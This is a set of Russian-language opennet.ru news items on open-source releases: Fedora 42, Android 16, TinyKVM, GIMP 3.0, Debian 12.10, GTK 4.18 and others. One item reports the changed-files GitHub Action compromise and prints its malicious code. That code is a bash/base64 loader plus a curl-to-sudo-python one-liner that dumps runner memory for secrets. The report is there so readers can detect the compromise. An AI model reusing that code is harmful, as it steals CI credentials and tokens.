  • Задействована нова ветка мультимедийной библиотеки SDL 3. Для приложений на базе SDL по умолчанию задействован протокол Wayland. Библиотеки SDL 2 заменены на прослойку sdl2-compat, работающую поверх SDL 3.
  • В пакетный менеджер DNF5 добавлена поддержка удаления из системы устаревших или прекративших действовать PGP-ключей репозиториев, что позволило автоматизировать управление ключами при установке и обновлении программ.
  • В пакетный менеджер RPM добавлена поддержка создания пользователей и групп на основе поставляемых в пакетах файлов конфигурации, размещённых в каталоге Sysusers.d, используемом в systemd.
  • Добавлен генератор зависимостей для расширений к GNOME Shell, позволяющий привязать rpm-пакеты с дополнениями к версиям GNOME Shell.
  • В DNF и RPM по умолчанию включён режим "Copy on Write", реализованный при помощи reflink в Btrfs.
  • Обновлены версии пакетов: LLVM 20, GCC 15-test, binutils 2.44, glibc 2.41, gdb 15, Go 1.24, Tcl/Tk 9.0, Ruby 3.4, Zlib-ng 2.2.x, Setuptools 74, Django 5.x, Andible 11, PHP 8.4, numpy 2.1.3.
  • В репозиторий для архитектуры AArch64 добавлен эмулятор FEX, позволяющий выполнять исполняемые файлы, собранные для архитектур x86 и x86-64, в окружении ARM64 (AArch64). Основанные на FEX компоненты для запуска x86-программ интегрированы в сборки Fedora со средой рабочего стола KDE.
  • Расширена поддержка web-камер с интерфейсом MIPI (Mobile Industry Processor Interface), который всё чаще используются на ноутбуках и планшетах вместо UVC (USB Video Class).
  • Добавлена поддержка шифрования памяти виртуальных машин при помощи технологий AMD SEV-SNP и Intel TDX.
  • Пакеты, использующие только исполняемый файл git, переведены на привязку к зависимости git-core, а не к полному пакету git.
  • Загрузочная заставка Plymouth переведена на использование модуля ядра simpledrm, что избавило от ожидания инициализации драйвера для GPU.
  • В Firewalld в сборках для рабочих станций для IPv6 по умолчанию включён режим работы rpfilter (Reverse Path Filter) "loose" вместо "strict".

Одновременно объявлено о бета-тестировании дистрибутива Fedora Asahi Remix 42, предназначенного для установки на компьютеры Mac, оснащённые ARM-чипами, разработанными компанией Apple. Fedora Asahi Remix 42 основан на пакетной базе Fedora Linux 42-beta и оснащён инсталлятором Calamares. Обеспечена возможность работы на системах Apple MacBook Air, MacBook Pro, Mac Mini, Mac Studio и iMac, оснащённых ARM-чипами Apple M1 и M2.

В Fedora Asahi полностью поддерживаются: звуковая подсистема компьютеров Apple, камера, Wi-Fi, Bluetooth, устройства ввода, USB Type C (USB 3.0) и беспроводная зарядка MagSafe. Пока не поддерживается: подключение экрана через USB-C, Thunderbolt/USB4, микрофон и Touch ID. В графических драйверах поддерживается OpenGL 4.6, OpenGL ES 3.2 и Vulkan 1.4. Для запуска приложений, собранных для систем x86_64, задействован инструментарий muvm и слой эмуляции на базе пакета FEX.

Источник: https://www.opennet.ru/opennews/art.shtml?num=62902

opennet honked 18 Mar 2025 12:00 +0100

Vulkan стал официальным графическим API платформы Android. Третий бета-выпуск Android 16

Компания Google объявила перед конференцией GDC (Game Developers Conference) о придании графическому API Vulkan статуса официального в платформе Android. Google работает над использованием Vulkan в качестве основного уровня абстракции для GPU (HAL, Hardware Abstraction Layer), рекомендованного для использования и играх и приложениях, работающих с GPU. Поверх Vulkan также будут функционировать внутренние API и компоненты, такие как HWUI, Skia и WebGPU.

В настоящее время ведётся работа по переводу Android на новый унифицированный стек отрисовки, базирующийся на Vulkan. В контексте разработки игр Google считает, что перевод разработки на Vulkan позволит более эффективно использовать возможности и производительность GPU, например в играх можно будет создавать продвинутые визуальные эффекты и задействовать такую функциональность, как трассировка лучей.

Vulkan поддерживается в Android начиная с 2016 года (Android 7.0), но активное продвижение данного графического API началось только недавно, так как ранее лишь небольшой процент устройств был пригоден для работы с Vulkan. Сейчас ситуация изменилась и по данным Google число находящихся в обиходе устройств, поддерживающих Vulkan, достигло 85%.

Поддержка OpenGL ES в будущих выпусках будет обеспечена через прослойку ANGLE, работающую поверх Vulkan. В этом году реализация OpenGL ES на базе ANGLE будет активирована по умолчанию, а следующем году останется единственно поддерживаемой. В выпуске Android 16, запланированном на второй квартал 2025 года, некоторые новые устройства будут переведены на использование ANGLE для игр и приложений, проверенных и помещённых в белый список.

В Android 17 на ANGLE будут переведены все новые устройства и большинство приложений (вместо белого списка будет задействован чёрный список с приложениями, в которых возникли проблемы). Требования по переходу на ANGLE будут действовать только для новых устройств, изначально выпускаемых на базе Android 16 или Android 17 (на устройства, обновившие прошивку до новых веток требования не распространяются).

Для достижения целостной поддержки Vulkan на устройствах компания Google ввела систему профилей Vulkan (VPA - Vulkan Profiles for Android), определяющих минимально необходимые возможности Vulkan, которое устройство должно поддерживать для прохождения сертификации в Google и задействования новых релизов Android. Например, VPA для Android 16 предписывает поддержку базовых возможностей Vulkan 1.3, а VPA для Android 17 будет требовать поддержки Vulkan 1.4. Если устройство не будет соответствовать требованиям профиля, то на нём невозможно будет использовать новые ветки Android.

<iframe src="https://www.youtube.com/embed/9MN0-qwYAFU?si=On2Ckd8H5ilpwHkD">

Дополнительно можно отметить публикацию третьей бета-версии открытой мобильной платформы Android 16. Для оценки новых возможностей платформы предложена программа предварительного тестирования. Сборки прошивки подготовлены для устройств Pixel 6/6a/6 Pro, Pixel 7/7a/7 Pro, Pixel 8/8a/8 Pro, Pixel 9/9 Pro/9 Pro XL/9 Pro Fold, Pixel Fold и Pixel Tablet.

Среди изменений в Android 16 Beta 3:

  • Для устройств Pixel 9 включена поддержка передачи звука через Bluetooth в широковещательном режиме (Auracast), позволяющем передавать звук от одного источника нескольким получателям или принимать одному получателю звук от нескольких источников (например, полезно для прослушивания на наушниках и слуховых аппаратах внешних аудипотоков, таких как объявления в аэропорте, не прерывая другое вещание).
  • Добавлен режим повышения контраста текста, при котором убирается прозрачность под текстом (светлый текст выводится на чёрном фоне, а тёмный - на белом). Режим может быть полезен для людей, имеющих ослабленное зрение.
  • Началось тестирование режима LNP (Local Network Protection), позволяющего ограничить доступ приложений к внутренним интранет-подсетям (192.168.x.x, 10.x.x.x и т.п.) для блокирования атак на ресурсы в локальной сети. В новом режиме помимо наличия полномочий "INTERNET" приложение должно будет получить отдельное подтверждение доступа у пользователя.


Источник: https://www.opennet.ru/opennews/art.shtml?num=62900

opennet honked 17 Mar 2025 12:00 +0100

Представлен TinyKVM для виртуализации на уровне отдельных процессов

Компания Varnish Software, разрабатывающая системы для построения сетей доставки и кэширования контента, представила открытый проект TinyKVM, развивающий инструментарий для изоляции выполнения отдельных процессов при помощи гипервизора KVM. Целью проекта заявлено создание самой быстрой системы sandbox-изоляции отдельных процессов, использующей аппаратную виртуализацию. Код проекта написан на языках C и С++, и распространяется под лицензией GPLv3.

TinyKVM рассчитан на изолированный запуск любых консольных программ для Linux с производительностью, близкой к обычному выполнению. Накладные расходы на вызов каждого системного вызова составляют около 2 микросекунд. В качестве примера применения проекта упоминается дополнительная изоляция процессов в системах кэширования и обработки web-запросов. TinyKVM разработан для замены эмулятора libriscv, применяемого для изоляции обработки каждого web-запроса в платформе Varnish. Дополнительно создан вариант библиотеки libvmod, позволяющий выполнять модули к Varnish с использованием TinyKVM.

При запуске при помощи TinyKVM машинный код программ выполняется без эмулирующих прослоек на CPU и ограничивается при помощи API гипервизора KVM, что позволяет исключить накладные расходы и добиться производительности близкой к выполнению без виртуализации. Основные возможности TinyKVM:

  • Ограничение максимального времени исполнения. Программа может быть принудительно остановлена после истечения таймаута, без вызова обработчиков сигналов и потоков.
  • Ограничение потребления памяти.
  • Возможность ответвления (fork) неинициализированных экземпляров виртуальных машин от одного инициализированного экземпляра изолированной программы. Копии виртуальных машин создаются в режиме copy-on-write, что позволяет существенно экономить память, храня только один экземпляр общих данных.
  • Ответвлённые процессы могут сбрасываться в предыдущее состояние (например, ответвлённый обработчик http-запросов может без перезапуска возвращаться в исходное состояние после обработки каждого запроса). Экземпляр изолированного процесса также может быть сброшен до состояния другой виртуальной машины, а не той из которой он был ответвлён, но накладные расходы в этому случае будут выше так как потребуется изменение таблицы страниц памяти.
  • Возможность создания статических страниц памяти во время инициализации, пригодных даже для изощрённых runtime, например, как в языке Go. В этом случае изменение допускается только для страниц, находящихся в режиме copy-on-write.
  • Поддержка удалённой отладки при помощи GDB. Возможна отладка на лету с возобновлением исполнения.

Гостевое окружение TinyKVM образует урезанное ядро, защищённого от изменений, собранное с включением зашиты страниц памяти и использующее инструкции SMAP (Supervisor Mode Access Prevention) и SMEP (Supervisor Mode Execution Prevention) для дополнительной изоляции между ядром и пространством пользователя. Ядро использует большие страницы памяти (4k, hugepage) для повышения производительности. Вызываемые программами системные вызовы перехватываются эмулятором и перенаправляются в хост-окружение (задержка на обработку и трансляцию эмулируемого вызова составляет около 2 микросекунд). В самой виртуальной машине не используются какие-либо драйверы, ввод/вывод и виртуальные устройства.



Источник: https://www.opennet.ru/opennews/art.shtml?num=62898

opennet honked 17 Mar 2025 09:00 +0100

Релиз графического редактора GIMP 3.0.0

Спустя семь лет с момента выпуска ветки 2.10 сформирован релиз графического редактора GIMP 3.0. Готовые сборки опубликованы для Linux (AppImage для x86_64 и ARM64). Готовится публикация пакета в формате Flatpak, а также сборок для Windows и macOS.

При подготовке следующих выпусков решено перейти на более предсказуемый и частый график публикации новых стабильный веток. В дальнейшем разработчики не будут пытаться разом продвигать множество существенных изменений, а постараются уделить внимание оттачиванию отдельных новых возможностей. Следующую значительную ветку GIMP 3.2 планируют опубликовать примерно через год. В промежутке между значительными выпусками будут выпускаться корректирующие обновления с исправлением ошибок.

Среди наиболее значимых улучшений в GIMP 3.0:

  • Осуществлён переход на библиотеку GTK3, CSS-подобную систему определения стилей и использование декорирования диалоговых окон на стороне клиента (CSD, заголовок и рамки окна отрисовываются не оконным менеджером, а самим приложением). Предложены новые виджеты.
  • Обеспечена штатная поддержка работы в окружениях на базе протокола Wayland.
  • Добавлена поддержка HiDPI и учёта системных настроек масштабирования при формировании интерфейса.
  • Существенно модернизирован интерфейс и предложена новая тема оформления. Улучшена поддержка символьных наборов пиктограмм, которые теперь автоматически подстраиваются под выставленные цвета переднего плана и фона (при переходе со светлого режима на тёмный больше не нужно вручную менять набор пиктограмм). Улучшено качество тёмного режима оформления, который теперь охватывает и элементы декорирования окон.
  • Добавлен экран приветствия первого запуска, позволяющий быстро изменить базовые настройки, открыть/создать файлы с изображениями или перейти к документации.
  • Реализована возможность выделения нескольких слоёв (Multi-layer selection), позволяющая выбрать сразу несколько слоёв при помощи штатных комбинаций Shift+клик для выделения диапазона слоёв и Ctrl+клик для добавления или исключения из набора отдельных слоёв. Операции в GIMP применяются ко всем выделенным слоям, что позволяет перемещать, группировать, удалять, совмещать и дублировать за раз все выделенные слои, а также масштабировать, обрезать, вращать и изменять содержимое сразу во всех выделенных слоях.
  • Добавлен недеструктивный режим редактирования, позволяющий манипулировать фильтрами и эффектами не теряя исходного изображения (результат применения фильтра теперь не объединяется с исходным слоем, а накладывается поверх него).
  • Реализован режим автоматического расширения слоёв.
  • Добавлена возможность редактирование за пределами холста. В диалоге установки размера холста добавлена возможность выбора предопределённых шаблонов, описывающих типовые размеры, соответствующие распространённым форматам страниц (A1, A2, A3 и т.п.)
  • Добавлен инструмент для выделения мазками кисти, позволяющий постепенно охватываться выделением область, используя приблизительные мазки кистью. Инструмент основан на применении алгоритма выборочного сегментирования (graphcut) для выделения только интересующей области.
  • Добавлена базовая поддержка цветовой модели CMYK (позднее связывание - возможность экспорта в CMYK). Существенно модернизирован код управления цветом. Интегрированы наработки проекта "Space Invasion", нацеленного на повышение корректности цветопередачи и улучшение управления цветом в GIMP. Осуществлён переход на использование внутреннего представления цветового профиля. Добавлена поддержка редактирования в исходном цветовом пространстве.
  • Предложен встроенный менеджер расширений, позволяющий разработчикам размещать в специальном репозитории расширения к GIMP, такие как плагины и дополнительные наборы кистей, текстур и градиентов, а пользователям устанавливать их одним кликом в интерфейсе. Для распространения различных видов дополнений предложен унифицированный файловый формат.
  • Включено по умолчанию компактное представление кнопок-ползунков (слайдеров), которые обычно используются для задания параметров фильтров и инструментов. Компактный стиль, при котором сокращены верхние и нижние отступы, существенно экономит вертикальное экранное пространство и позволяет вместить в видимую область больше элементов.
  • Добавлена поддержка масштабирования и поворота холста через жест "щипок" на тачпадах и сенсорных экранах.
  • Реализована поддержка изменения размера кистей прямо на холсте, движением мышью при нажатой правой кнопке мыши и удерживании клавиши Alt, не отвлекаясь на корректировку настроек в панели.
  • Предоставлена возможность настройки модификаторов клавиш, действующих при нажатии кнопок мыши на холсте, таких как Ctrl для масштабирования, Shift для поворота холста и Alt для выбора слоёв или изменения размера кистей.
  • В инструменте для размещения текста добавлены новые возможности для недеструктивной обводки и заливки контура букв. Добавлена новая настройка "Стиль", в которой предложено три режима: Заливка (исходный стиль), Обводка (выделение контура цветом) и Обводка и заливка (выделение контура и заливка внутренней части букв выбранными цветами).
  • Добавлен новый API для разработки плагинов, который несовместим со старыми плагинами. Некоторые функции в API объявлены устаревшими, а вместо манипуляции идентификаторами объектов предложено использовать обычные объекты. Весь API GIMP вынесен через интроспекцию GObject, что позволяет создавать плагины на разных языках программирования.
  • Реализован новый публичный API для фильтров на базе библиотеки GEGL, позволяющий мгновенно отображать результаты применения эффектов и добавлять их в недеструктивном режиме редактирования.
  • Реализована поддержка кэша отрисовки, в котором сохраняются результаты масштабирования, а также манипуляций с цветами, фильтрами и масками. Для ускорения работы в настройки также добавлена возможность определения уровня качества масштабирования (Preferences -> Display -> Zoom Quality). В режиме "fast" применяется более быстрая интерполяция, чем при использовании линейного или квадратичного методов.
  • Улучшен импорт и экспорт в формате PSD (Adobe Photoshop). Добавлена поддержка форматов JPEG-XL, ANI и WBMP. Переделан диалог для экспорта изображений в RAW-форматах. Предоставлена возможность экспорта в формате RAW изображений с любым значением глубины цвета.
  • Улучшена поддержка графических планшетов и световых перьев. Планшеты и перья теперь становятся доступны сразу после подключения, без необходимости изменения настроек. Упрощён доступ к расширенным настройкам устройств ввода.
  • Проведена значительная чистка кодовой базы. Внутренние подсистемы переведены на фреймворк обработки изображений GEGL (Generic Graphics Library).


Источник: https://www.opennet.ru/opennews/art.shtml?num=62897

opennet honked 16 Mar 2025 11:00 +0100

Выпуск дистрибутива SystemRescue 12.0

Доступен релиз SystemRescue 12.0, специализированного Live-дистрибутива на основе Arch Linux, предназначенного для восстановления системы после сбоя. В качестве графического окружения используется Xfce. Размер iso-образа - 1 ГБ (amd64).

В новом выпуске обеспечена поддержка файловой системы Bcachefs. Обновлена версия редактора разделов GParted 1.7, в которой появилась поддержка Bcachefs. Ядро Linux обновлено до ветки 6.12 (ранее поставлялась ветка 6.6). Добавлены новые версии nwipe 0.38 и dump 0.4b49.



Источник: https://www.opennet.ru/opennews/art.shtml?num=62894

opennet honked 16 Mar 2025 09:00 +0100

Выпуск дистрибутива Debian 12.10. Первая стадия заморозки Debian 13

Сформировано десятое корректирующее обновление дистрибутива Debian 12, в которое включены накопившиеся обновления пакетов и добавлены исправления в инсталлятор. Выпуск включает 66 обновлений с устранением проблем со стабильностью и 43 обновления с устранением уязвимостей.

Из изменений в Debian 12.10 можно отметить обновление до свежих стабильных версий пакетов bup, intel-microcode, mariadb, postgresql-15, spamassassin, systemd и tzdata. Удалены пакеты kanboard и libnet-easytcp-perl, оставшиеся без сопровождения и имеющие проблемы с безопасностью, а также пакет looking-glass, признанный непригодным для стабильного выпуска.

Для загрузки и установки "с нуля" подготовлены установочные сборки c Debian 12.10. Системы, установленные ранее и поддерживаемые в актуальном состоянии, получают обновления, присутствующие в Debian 12.10, через штатную систему установки обновлений. Исправления проблем безопасности, включённые в новые выпуски Debian, доступны пользователям по мере выхода обновлений через сервис security.debian.org.

Дополнительно можно отметить перевод на первую стадию заморозки пакетной базы ветки Debian 13 "Trixie". На первой стадии заморозки прекращено выполнение "transitions" (обновление пакетов, требующее корректировки зависимостей у других пакетов, которое приводит к временному удалению пакетов из Testing), а также прекращено обновление пакетов, необходимых для сборки (build-essential).

15 апреля 2025 года состоится мягкая заморозка пакетной базы, при которой будет прекращён приём новых исходных пакетов и закрыта возможность повторного включения ранее удалённых пакетов. 15 мая 2025 года будет применена жёсткая заморозка перед релизом, при которой процесс переноса ключевых пакетов и пакетов без autopkgtests из ветки unstable в testing будет полностью остановлен и начнётся этап интенсивного тестирования и исправления блокирующих релиз проблем. Через некоторое время после жёсткой заморозки будет проведена полная заморозка, охватывающая все пакеты. Релиз Debian 13 ожидается во второй половине 2025 года.

Источник: https://www.opennet.ru/opennews/art.shtml?num=62893

opennet honked 15 Mar 2025 19:00 +0100

Мэйнтейнер Dash to Panel сложил полномочия после критики манеры сбора пожертвований

Чарльз Ганьон (Charles Gagnon), мэйнтейнер проекта Dash to Panel, объявил, о поиске нового сопровождающего, которому он мог бы передать управление. Проект Dash to Panel развивает дополнение к GNOME Shell с реализацией панели, включающей меню приложений, ярлыки для запуска приложений, пиктограммы запущенных задач и системный лоток, по аналогии с панелями KDE Plasma и Windows 7+. Панель создана в 2016 году на основе проекта Dash to Dock и насчитывает более 4 млн загрузок. Чарльз участвует в разработке с 2018 года и в своё время сменил на посту мэйнтейнера Джейсона ДеРоуза (Jason DeRose), основателя проекта.

Объявление об уходе Чарльза спровоцировала негативная реакция сообщества на попытки собрать пожертвования, которые были восприняты как слишком назойливые и агрессивные. Чарльз закрепил в панели на первом месте в области ярлыков приложений анимированную кнопку с изображением красного сердца, при нажатии на которую появлялось сообщение о сборе пожертвований. Закрыть сообщение можно было только после истечения 20-секундного обратного отчёта. В контекстное меню была добавлена секция "Параметры пожертвования", но они не позволяли сразу убрать кнопку (опция для скрытия кнопки появлялась через какое-то время).

Недовольство вызвало то, что кнопка занимает первое место в панели (смещает горячую клавишу для вызова первого ярлыка), отвлекает назойливой анимацией и отнимает время на ожидание возможности скрытия. Один из участников обсуждения поставил вопрос: насколько можно доверять проекту, ключевой разработчик которого позволяет себе подобное неуважение к пользователям. В ответ Чральз не стал убирать кнопку, а лишь переместил её в конец списка.

К обсуждению подключился Джейсон ДеРоуз, основатель проекта, отошедший от разработки в 2021 году, который написал, что реализованная навязчивая реклама противоречит духу созданного им проекта. Отмечается, что проект существует благодаря вкладу многих людей, как тех что непосредственно участвовали в разработке Dash to Panel, так и тех, что развивают системы на которых работает панель и с которыми она взаимодействует. Джейсон предложил представить ситуацию, в которой каждый компонент дистрибутива начнёт закреплять собственный надоедливый постоянной висящий экран сбора пожертвований. По мнению создателя Dash to Panel, если Чарльз достиг точки недовольства и чувствует приближение выгорания, стоит предложить сообществу подхватить эстафету сопровождения, а не пытаться использовать раздражающие сомнительные методы для возвращения собственной мотивации.

Чарльз ответил, что он всё ещё получает удовольствие от работы над Dash to Panel, но к сожалению не может уделять разработке столько времени, сколько ему бы хотелось. По словам Чарльза он посчитал, что сбор пожертвований поможет решить эту проблему, но похоже был не прав и поэтому удалил все запросы пожертвований и начнёт искать себе замену как мэйнтейнеру.

Источник: https://www.opennet.ru/opennews/art.shtml?num=62888

opennet honked 15 Mar 2025 15:00 +0100

Компрометация GitHub Actions-обработчика changed-files, применяемого в 23 тысячах репозиториях

Выявлена подстановка вредоносного изменения в репозиторий проекта changed-files, развивающего обработчик к системе GitHub Actions, позволяющей автоматически запускать сценарии сборки и тестирования кодовых баз при срабатывании определённых событий, таких как поступление push-запроса, создание релизов, открытие/закрытие issue и открытие/закрытие pull-запросов. Обработчик changed-files использовался в 23 тысячах репозиториях, применяющих GitHub Actions в инфраструктуре непрерывной интеграции, для отслеживания изменения файлов и каталогов.

В репозиторий changed-files было подставлено изменение 0e58ed8, добавляющее в файл index.js вредоносный код под предлогом переработки работы с файлами блокировок. При выполнении обработчика changed-files вредоносная вставка извлекала из процесса Runner Worker ключи доступа и прочие конфиденциальные данные. В качестве канала для передачи информации за пределы сборочного окружения использовался вывод записей в сборочный лог, который не в приватных репозиториях доступен публично.

Всем разработчикам, пользовавшимся changed-files, требуется незамедлительно провести аудит своей инфраструктуры и проверить публичные логи систем интеграции на базе GitHub Actions на предмет утечки конфиденциальных данных. В случае использования скомпрометированной версии рекомендуется поменять ключи и провести анализ возможной компрометации своих систем. В настоящее время GitHub уже заблокировал репозиторий changed-files, но до этого около 14 часов вредоносные обновления были доступны для загрузки. Понять наличие вредоносного изменения можно по упоминанию "bash" в файле index.js:

   async function updateFeatures(token) {
   
       const {stdout, stderr} = await exec.getExecOutput('bash', ['-c', `echo "aWYgW1sgIiRPU1...ApmaQo=" | base64 -d > /tmp/run.sh && bash /tmp/run.sh`], {
           ignoreReturnCode: true,
           silent: true
       });
       core.info(stdout);
   }

В base64-последовательности содержался код:

   if [[ "$OSTYPE" == "linux-gnu" ]]; then
     B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo  python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
     echo $B64_BLOB
   else
     exit 0
   fi

Коммит был размещён от имени бота "renovate[bot]", предназначенного для автоматизации операций по обновлению зависимостей, но скорее всего имя данного бота использовано для запутывания следов, так как коммит был помечен как неверифицированный и не принадлежащий ни к одной ветке в репозитории changed-files. Подобные коммиты могут свидетельствовать о добавлении не в основной репозиторий, а в его форк (при прямом обращении через основной репозиторий в GitHub коммиты из форков остаются видимыми).

Примечательно, что атакующий добился добавления вредоносного коммита почти во все git-тэги и релизы проекта changed-files, без отображения в git-логе коммитов в соответствующих ветках. В качестве предположений как он мог этого добиться упоминалось создание форка репозитория, размещения в нём вредоносного кода и обновления всех тегов в родительском репозитории с учётом нового SHA-хэша форка. По предположению другого разработчика атакующий добавил коммит в ветку main, перенаправил все теги на данную ветку, после чего откатил ветку main на предыдущий коммит.

Источник: https://www.opennet.ru/opennews/art.shtml?num=62892

opennet honked 15 Mar 2025 12:00 +0100

В KDE реализован график для оценки скорости копирования файлов

Нейт Грэм (Nate Graham), разработчик, занимающийся контролем качества в проекте KDE, опубликовал очередной отчёт о разработке KDE. Среди изменений, добавленных в ветку, на основе которых формируется релиз KDE Plasma 6.4.0:
  • Реализован график для наглядной оценки изменения скорости копирования файлов. График доступен на странице "Детали", на которую можно перейти из уведомления о копировании файла.
  • Добавлена настройка для принудительного отключения пиктограмм определённых приложений в системном лотке. Новая возможность может оказаться полезной, когда приложения не содержат внутренних настроек для прекращения показа индикаторов (например, Discord).
  • В KRunner улучшена группировка результатов поиска - действия, связанные с сеансом и загрузкой, теперь включены в приоритетный список, выводимый в первую очередь. Улучшена навигация в KRunner с использованием клавиатуры.
  • Оптимизирована эвристика центровки всплывающих окон виджетов, относительно экрана или панели.
  • В диалоге настройки панели визуализация макетов размещения панели теперь отражает фактическое положение панели на экране.
  • Добавлена поддержка использования для каждого виртуального рабочего стола своей мозаичной раскладки окон.
  • Кодовая база kwin разделена на kwin_x11 и kwin_wayland.
  • Добавлена поддержка HDR-видео в формате P010.
  • Добавлена поддержка Wayland-протокола ext-idle-notify.
  • Увеличена надёжность определения и показа виджетом Power & Battery информации о состоянии аккумуляторов Bluetooth-устройств.
  • Запрещено использование EncFS для создания новых хранилищ Plasma Vault (ранее созданные хранилища на базе EncFS продолжат работать). В качестве причины упоминается прекращение разработки EncFS и наличие уязвимостей в EncFS .

В ветке KDE Frameworks 6.13 реализована поддержка прокрутки в диалогах сохранения или открытия файлов, используя экранные жесты.

В кодовой базе, на основе которого будет сформирован выпуск KDE Plasma 6.3.4, элементы интерфейса, реализованные в стиле боковых панелей, такие как Activity Switcher, теперь перекрывают обычные горизонтальные панели (если в панели не активен режим редактирования).



Источник: https://www.opennet.ru/opennews/art.shtml?num=62890

opennet honked 15 Mar 2025 10:00 +0100

Доступен графический тулкит GTK 4.18

После шести месяцев разработки опубликован релиз многоплатформенного тулкита для создания графического интерфейса пользователя - GTK 4.18. GTK 4 развивается в рамках процесса разработки, который пытается предоставить разработчикам приложений стабильный и поддерживаемый в течение нескольких лет API, который можно использовать не опасаясь, что каждые полгода придётся переделывать приложения из-за изменения API в очередной ветке GTK.

Среди наиболее заметных улучшений в GTK 4.18:

  • Добавлен экспериментальный бэкенд, позволяющий запускать GTK-приложения на смартфонах с платформой Android. Реализована возможность использования OpenGL для отрисовки на платформе Android.
  • Объявлен устаревшим бэкенд для протокола X11, поддержку которого намерены прекратить в ветке GTK 5. Перевод в разряд устаревших объясняется прекращением активности по развитию протокола X11 и проблемами с сопровождающими - бэкенд поддерживается по остаточному принципу, так как имеющиеся разработчики GTK и GNOME сосредоточены на Wayland. Из-за стагнации в разработке бэкенда, он тормозит реализацию новых возможностей в GTK.
  • Объявлен устаревшим бэкенд Broadway, позволяющий отрисовывать вывод библиотеки GTK в окне web-браузера.
  • Объявлен устаревшим класс GtkShortcutsWindow, отображающий подсказку по клавиатурным комбинациям и экранным жестам. На смену GtkShortcutsWindow придёт виджет, поставляемый в libadwaita.
  • Удалён старый движок отрисовки "gl", использующий OpenGL. Начиная с GTK 4.14 в состав входит новый движок "ngl", построенный на одной кодовой базе с движком "vulkan" и реализующий дополнительный уровень абстракции для OpenGL, учитывающий различия между API OpenGL и Vulkan. Из ограничений движка "ngl" отмечается прекращение поддержки систем со старыми драйверами и устаревшим оборудованием.
  • Добавлен новый бэкенд AccessKit, обеспечивающий интеграцию со средствами для людей с ограниченными возможностями, в том числе на платформах Windows и macOS. В Linux по умолчанию применяется старый бэкенд at-spi, который продолжает развиваться.
  • При использовании Wayland улучшена работа с настройками xdg-порталов. Реализовано мгновенное переключение между темами оформления курсора. Улучшена обработка размера курсора. Решена проблема с некорректным масштабированием указателя мыши, проявлявшаяся в виде показа слишком крупных указателей на системах с Wayland при включении дробного масштабирования.
  • Улучшена поддержка Wayland-протокола color-management, предоставляющего возможности для управления цветом и поддержки расширенного динамического диапазона яркости (HDR, High Dynamic Range). При помощи расширения color-management клиентские приложения могут получать информацию о связанных с цветопередачей свойствах устройств вывода и передавать композитному серверу данные о свойствах цветопередачи собственного контента. Реализация протокола color-management пока не признана готовой к включению по умолчанию и для активации требует выставления переменной окружения "GDK_DEBUG=color-mgmt".
  • Добавлена поддержка Wayland-протокола cursor-shape, реализующего альтернативный способ настройки внешнего вида курсора, основанный на передаче серии изображений курсора вместо привязки к поверхности (wl_surface).
  • Предоставлена возможность создания полностью модальных диалогов, реализуемых на стороне клиента.
  • Для редактируемых меток реализовано контекстное меню.
  • В виджете GtkVideo реализована поддержка повёрнутых видео.
  • В виджетах GtkText и GtkTextView обеспечена обработка кнопок для копирования/вставки в буфер обмена и операций Undo/Redo. Добавлена обработка кодировок символов в данных для буфера обмена.
  • В библиотеку GDK, предоставляющей прослойку между GTK и графической подсистемой, добавлена возможность извлечения информации о раскладке клавиатуры. Улучшено распараллеливание выполнения мелких задач. Добавлена возможность отключения многопоточных операций через выставление переменной окружения "GDK_DISABLE=threads". Прекращена поддержка OpenGL ES 2 и версий OpenGL меньше 3.3.
  • В библиотеке GSK (GTK Scene Kit), предоставляющей возможности отрисовки графических сцен через OpenGL и Vulkan, добавлена поддержка интерполяции градиентов для различных состояний цветов. Повышена эффективность проверок при отрисовке объектов, скрытых за другими непрозрачными объектами или находящимися вне поля зрения. Расширено применение технологии Dmabuf. Разрешено применение программного рендеринга в качестве запасного варианта для API Vulkan. Оптимизированы настройки для Vulkan.
  • Улучшена отрисовка нового шрифта, задействованного по умолчанию в GNOME.
  • Обеспечена возможность использования дробного масштабирования на платформе macOS. Минимальные требования к платформе macOS повышены до версии 10.15.
  • Расширены возможности бэкенда для платформы Windows. Улучшена работа с буфером обмена в Windows. Минимальные требования к платформе повышены до Windows 10.
  • Повышены требования в минимальным версиям компонентов: GLib 2.80, harfbuzz 8.4, pango 1.55, meson 1.2, wayland 1.23 и wayland-protocols 1.41. Для сборки GTK теперь необходим компилятор с поддержкой стандарта C11.

Спустя два часа после выпуска GTK 4.18.0 сформировано корректирующее обновление 4.18.1, в котором устранена проблема в наборе тестов (забыли убрать привязку к экспериментальной ветке 4.17).

Источник: https://www.opennet.ru/opennews/art.shtml?num=62889

opennet honked 15 Mar 2025 07:00 +0100

GitHub принудительно перевёл репозитории проекта Organic Maps в архивный режим

GitHub принудительно перевёл репозитории проекта Organic Maps в архивный режим, допускающий доступ только для чтения. Официальных разъяснений на текущий момент не поступало, однако разработчики предполагают, что причиной блокировки стало неверное определение местоположения кого-то из разработчиков, позволившая ассоциировать его с одним из регионов, находящихся по санкциями.

Ситуация в целом аналогична ситуации с блокировкой репозиториев проекта ipmitool два года назад, в результате которой мейнтейнеру пришлось срочно мигрировать на платформу Codeberg. В том случае блокировка проекта была связана с блокировкой аккаунта мейнтейнера, который работает в компании, попавшей под санкции.

Проект Organic Maps развивает бесплатное приложение для автономной навигации, использующее картографические данные из OpenStreetMap. Код проекта распространяется под лицензией Apache 2.0. Organic Maps делает упор на конфиденциальность, поскольку не отслеживает местоположение пользователя и не собирает личные данные. Проект основан как форк приложения MAPS.ME, созданный его изначальными авторами после продажи MAPS.ME компании mail.ru и переводу на проприетарную модель разработки.

Источник: https://www.opennet.ru/opennews/art.shtml?num=62887

opennet honked 14 Mar 2025 23:00 +0100

Microsoft по ошибке удалил дополнения к VSCode, насчитывающие 9 млн установок

Компания Microsoft восстановила в каталоге Visual Studio Marketplace дополнения к редактору кода VSCode - "Material Theme" и "Material Theme Icons", насчитывающие 3.9 и 5.4 миллионов установок, а также сняла блокировку с учётной записи разработчика. Две недели назад данные дополнения были удалены из-за подозрений на наличие вредоносного кода. В итоге оказалось, что дополнения были удалены по ошибке, так как произошло ложное срабатывание инструментария и недосмотр сотрудников при проверке.

